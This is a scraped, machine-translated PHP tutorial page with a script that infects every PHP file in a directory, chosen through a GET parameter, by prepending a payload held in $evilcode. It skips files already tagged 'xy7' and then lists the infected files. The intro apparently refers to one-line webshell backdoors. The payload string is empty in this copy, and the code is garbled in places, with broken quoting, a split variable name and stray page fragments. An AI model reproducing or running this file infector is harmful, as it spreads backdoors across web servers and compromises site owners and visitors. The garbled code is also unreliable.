I always forget which file I put a sentence in, so I just kill them all...
Copy the code The code is as follows:
//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\','/',dirname(__FILE__));
echo "
".$dir."";
} else {
$dir=$_GET['dir'];
echo "
".$dir."";
}
$evilcode=" ";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$ old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp );
}
}
closedir($testdir);
?>
Xed files |
Time |
Size | ?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg(".php {0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a== "0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file" ));
echo "
n";
echo "$file | n";
echo " $lastsave | n" ;
echo " $size Bytes | n";
}
}
}
@closedir($dirs);
?>
codz by xuanmumu
http://www.bkjia.com/PHPjc/318709.html
www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/318709.htmlTechArticleI always forget which file I put a sentence in, so I just kill them all... The copy code is as follows: ?//xy7 if(!isset($dir)orempty($dir)){ $dir=str_replace('\','/',dirname(__FILE__)...